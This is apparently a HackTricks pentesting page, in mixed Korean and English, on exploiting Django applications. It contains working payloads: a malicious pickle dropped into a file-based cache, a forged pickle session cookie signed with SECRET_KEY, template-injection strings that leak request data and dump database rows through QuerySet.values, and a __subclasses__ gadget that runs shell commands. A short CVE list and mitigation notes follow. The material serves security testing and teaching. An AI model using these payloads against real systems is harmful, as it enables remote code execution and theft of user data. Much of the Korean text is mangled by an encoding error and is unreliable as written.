Django
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Cache Manipulation to RCE
Django์ ๊ธฐ๋ณธ ์บ์ ์ ์ฅ ๋ฐฉ์์ Python pickles์ด๋ฉฐ, untrusted input is unpickled ๊ฒฝ์ฐ RCE๋ก ์ด์ด์ง ์ ์์ต๋๋ค. ๊ณต๊ฒฉ์๊ฐ ์บ์์ ์ฐ๊ธฐ ๊ถํ์ ์ป์ ์ ์๋ค๋ฉด, ์ด ์ทจ์ฝ์ ์ ๊ธฐ๋ฐ ์๋ฒ์์์ RCE๋ก ์ ์ฉํ ์ ์์ต๋๋ค.
Django ์บ์๋ ๋ค์ ๋ค ๊ณณ ์ค ํ๋์ ์ ์ฅ๋ฉ๋๋ค: Redis, memory, files, ๋๋ database์ ์ ์ฅ๋ฉ๋๋ค. Redis ์๋ฒ๋ database์ ์ ์ฅ๋ ์บ์๊ฐ ๊ฐ์ฅ ์ ๋ ฅํ ๊ณต๊ฒฉ ๋ฒกํฐ(Redis injection and SQL injection)์ด์ง๋ง, ๊ณต๊ฒฉ์๋ ํ์ผ ๊ธฐ๋ฐ ์บ์๋ฅผ ์ด์ฉํด ์์์ ์ฐ๊ธฐ๋ฅผ RCE๋ก ์ ํํ ์๋ ์์ต๋๋ค. ๋ฉ์ธํ ์ด๋๋ค์ ์ด๋ฅผ ๋น๋ฌธ์ ๋ก ํ์ํ์ต๋๋ค. ์บ์ ํ์ผ ํด๋, SQL ํ ์ด๋ธ ์ด๋ฆ, Redis ์๋ฒ ์ธ๋ถ ์ฌํญ์ ๊ตฌํ์ ๋ฐ๋ผ ๋ฌ๋ผ์ง๋ค๋ ์ ์ ์ ์ํ์ธ์.
On FileBasedCache, the pickled value is written to a file under CACHES['default']['LOCATION'] (often /var/tmp/django_cache/). If that directory is world-writable or attacker-controlled, dropping a malicious pickle under the expected cache key yields code execution when the app reads it:
python - <<'PY'
import pickle, os
class RCE:
def __reduce__(self):
return (os.system, ("id >/tmp/pwned",))
open('/var/tmp/django_cache/cache:malicious', 'wb').write(pickle.dumps(RCE(), protocol=4))
PY
This HackerOne report provides a great, reproducible example of exploiting Django cache stored in a SQLite database: https://hackerone.com/reports/1415436
Server-Side Template Injection (SSTI)
The Django Template Language (DTL) is ํ๋ง ์์ . If user-supplied data is rendered as a template string (for example by calling Template(user_input).render() or when |safe/format_html() removes auto-escaping), an attacker may achieve full SSTI โ RCE.
ํ์ง
Template()/Engine.from_string()/render_to_string()๊ฐ์ ๋์ ํธ์ถ์์ ์ด๋ค ๊ฒ์ฆ๋์ง ์์ ์์ฒญ ๋ฐ์ดํฐ๊ฐ ํฌํจ๋๋์ง ํ์ธํ์ธ์.- ์๊ฐ ๊ธฐ๋ฐ ๋๋ ์ฐ์ ํ์ด๋ก๋๋ฅผ ์ ์กํด๋ณด์ธ์:
{{7*7}}
๋ ๋๋ ์ถ๋ ฅ์ 49๊ฐ ํฌํจ๋์ด ์์ผ๋ฉด ์
๋ ฅ์ด ํ
ํ๋ฆฟ ์์ง์ ์ํด ์ปดํ์ผ๋ ๊ฒ์
๋๋ค.
3. DTL์ Jinja2๊ฐ ์๋๋๋ค: ์ฐ์ /๋ฃจํ ํ์ด๋ก๋๋ ํ๊ฐ๊ฐ ์ํ๋์์์ ์ฆ๋ช
ํ๋ฉด์๋ ์ข
์ข
TemplateSyntaxError/500์ ์ ๋ฐํฉ๋๋ค. ${{<%[%'"}}% ๊ฐ์ polyglots๋ ํฌ๋์ ๋๋ ๋ ๋ ํ์ธ์ฉ ํ๋ก๋ธ๋ก ์ข์ต๋๋ค.
Context exfiltration when RCE is blocked
Even if object-walking to subprocess.Popen fails, DTL still exposes in-scope objects:
{{ request }} {# confirm SSTI #}
{{ request.META }} {# leak Gunicorn/UWSGI headers, cookies, proxy info #}
{{ users }} {# QuerySet in the context? #}
{{ users.0 }} {# first row #}
{{ users.values }} {# dumps dicts of every column (email/flags/plaintext passwords if stored) #}
QuerySet.values()๋ ํ์ ๋์
๋๋ฆฌ๋ก ๊ฐ์ ๋ณํํ์ฌ __str__๋ฅผ ์ฐํํ๊ณ queryset์ด ๋ฐํํ๋ ๋ชจ๋ ํ๋๋ฅผ ๋
ธ์ถ์ํจ๋ค. ์ด๋ ์ง์ ์ ์ธ Python ์คํ์ด ํํฐ๋ง๋ ๋์๋ ๋์ํ๋ค.
Automation pattern: authenticate, grab the CSRF token, ์์์ ์๊ตฌ ํ๋(์: username/profile bio)์ marker-prefixed payload๋ฅผ ์ ์ฅํ ๋ค, ์ด๋ฅผ ๋ ๋ํ๋ ๋ทฐ๋ฅผ ์์ฒญํ๋ค (AJAX endpoints like /likes/<id>๊ฐ ํํ๋ค). ์์ ์ ์ธ ์์ฑ(์: title="...")์ ํ์ฑํด ๋ ๋๋ ๊ฒฐ๊ณผ๋ฅผ ๋ณต๊ตฌํ๊ณ payloads๋ฅผ ์ํํ๋ค.
Primitive to RCE
Django๋ __import__์ ๋ํ ์ง์ ์ ๊ทผ์ ์ฐจ๋จํ์ง๋ง, Python ๊ฐ์ฒด ๊ทธ๋ํ์๋ ์ ๊ทผํ ์ ์๋ค:
{{''.__class__.mro()[1].__subclasses__()}}
subprocess.Popen์ ์ธ๋ฑ์ค(โ400โ500, Python ๋น๋์ ๋ฐ๋ผ ๋ค๋ฆ)๋ฅผ ์ฐพ์ ์์์ ๋ช
๋ น์ ์คํ:
{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}
A safer universal gadget is to iterate until cls.__name__ == 'Popen'.
The same gadget works for Debug Toolbar or Django-CMS template rendering features that mishandle user input.
๋ํ ์ฐธ๊ณ : ReportLab/xhtml2pdf PDF export RCE
Django ๊ธฐ๋ฐ ์ ํ๋ฆฌ์ผ์ด์
์ ์ผ๋ฐ์ ์ผ๋ก xhtml2pdf/ReportLab๋ฅผ ํตํฉํด ๋ทฐ๋ฅผ PDF๋ก ๋ด๋ณด๋
๋๋ค. ์ฌ์ฉ์ ์ ์ด HTML์ด PDF ์์ฑ์ผ๋ก ํ๋ฌ๋ค์ด๊ฐ ๊ฒฝ์ฐ, rl_safe_eval์ ์ผ์ค ๊ดํธ [[[ ... ]]] ์์ ํํ์์ ํ๊ฐํ์ฌ ์ฝ๋ ์คํ์ ์ ๋ฐํ ์ ์์ต๋๋ค (CVE-2023-33733). ์์ธ ๋ด์ฉ, ํ์ด๋ก๋, ์ํ์ฑ
:
Reportlab Xhtml2pdf Triple Brackets Expression Evaluation Rce Cve 2023 33733
Pickle ๊ธฐ๋ฐ ์ธ์ ์ฟ ํค RCE
์ค์ SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'์ด ํ์ฑํ๋์ด ์๊ฑฐ๋(๋๋ pickle์ ์ญ์ง๋ ฌํํ๋ ์ปค์คํ
serializer๊ฐ ์ฌ์ฉ๋๋ ๊ฒฝ์ฐ), Django๋ ์ธ์
์ฟ ํค๋ฅผ decrypts and unpicklesํ ๋ค์ view ์ฝ๋๋ฅผ ํธ์ถํ๊ธฐ ์ ์ ์ฒ๋ฆฌํฉ๋๋ค. ๋ฐ๋ผ์ ์ ํจํ signing key(๊ธฐ๋ณธ์ ์ผ๋ก ํ๋ก์ ํธ์ SECRET_KEY)๋ฅผ ๋ณด์ ํ๊ณ ์์ผ๋ฉด ์ฆ์ ์๊ฒฉ ์ฝ๋ ์คํ์ด ๊ฐ๋ฅํฉ๋๋ค.
Exploit Requirements
- ์๋ฒ๊ฐ
PickleSerializer๋ฅผ ์ฌ์ฉํฉ๋๋ค. - ๊ณต๊ฒฉ์๊ฐ
settings.SECRET_KEY์ ์๊ณ ์๊ฑฐ๋ ์ถ์ธกํ ์ ์์ต๋๋ค (leaks via GitHub,.env, error pages, etc.).
Proof-of-Concept
#!/usr/bin/env python3
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
import os, base64
class RCE(object):
def __reduce__(self):
return (os.system, ("id > /tmp/pwned",))
mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
print(f"sessionid={mal}")
๊ฒฐ๊ณผ๋ก ์์ฑ๋ ์ฟ ํค๋ฅผ ์ ์กํ๋ฉด ํ์ด๋ก๋๊ฐ WSGI ์์ปค์ ๊ถํ์ผ๋ก ์คํ๋ฉ๋๋ค.
์ํ ์กฐ์น: ๊ธฐ๋ณธ JSONSerializer๋ฅผ ์ ์งํ๊ณ , SECRET_KEY๋ฅผ ์ฃผ๊ธฐ์ ์ผ๋ก ๊ต์ฒดํ๋ฉฐ, SESSION_COOKIE_HTTPONLY๋ฅผ ์ค์ ํ์ธ์.
์ต๊ทผ(2023-2025) ํํ ์คํฐ๊ฐ ํ์ธํด์ผ ํ ์ํฅ๋ ฅ ํฐ Django CVE
- CVE-2025-48432 โ Log Injection via unescaped
request.path(fixed June 4 2025). ๊ณต๊ฒฉ์๊ฐ ๊ฐํ(newline)/ANSI ์ฝ๋๋ฅผ ๋ก๊ทธ ํ์ผ์ ์ฃผ์ ํด ํ์ ๋ก๊ทธ ๋ถ์์ ์ค์ผ์ํฌ ์ ์์ต๋๋ค. ํจ์น ์์ค โฅ 4.2.22 / 5.1.10 / 5.2.2. - CVE-2024-42005 โ Critical SQL injection in
QuerySet.values()/values_list()onJSONField(CVSS 9.8). JSON ํค๋ฅผ ์กฐ์ํด ์ธ์ฉ๋ถํธ๋ฅผ ํ์ถ์ํค๊ณ ์์์ SQL์ ์คํํ ์ ์์ต๋๋ค. Fixed in 4.2.15 / 5.0.8.
ํญ์ X-Frame-Options ์ค๋ฅ ํ์ด์ง๋ /static/admin/css/base.css ํด์๋ก ์ ํํ ํ๋ ์์ํฌ ๋ฒ์ ์ ์ง๋ฌธ(fingerprint)์ผ๋ก ์๋ณํ๊ณ , ํด๋น๋๋ ๊ฒฝ์ฐ ์ ํญ๋ชฉ๋ค์ ํ
์คํธํ์ธ์.
์ฐธ๊ณ ์๋ฃ
- Django security release โ โDjango 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432โ โ 2025๋ 6์ 4์ผ.
- OP-Innovate: โDjango releases security updates to address SQL injection flaw CVE-2024-42005โ โ 2024๋ 8์ 11์ผ.
- 0xdf: University (HTB) โ Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE and pivot into AD โ https://0xdf.gitlab.io/2025/08/09/htb-university.html
- Django docs โ QuerySet.values(): https://docs.djangoproject.com/en/6.0/ref/models/querysets/#values
- 0xdf: HackNet (HTB) โ HTML Attribute Injection โ Django SSTI โ QuerySet.values data dump โ Pickle FileBasedCache RCE โ https://0xdf.gitlab.io/2026/01/17/htb-hacknet.html
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


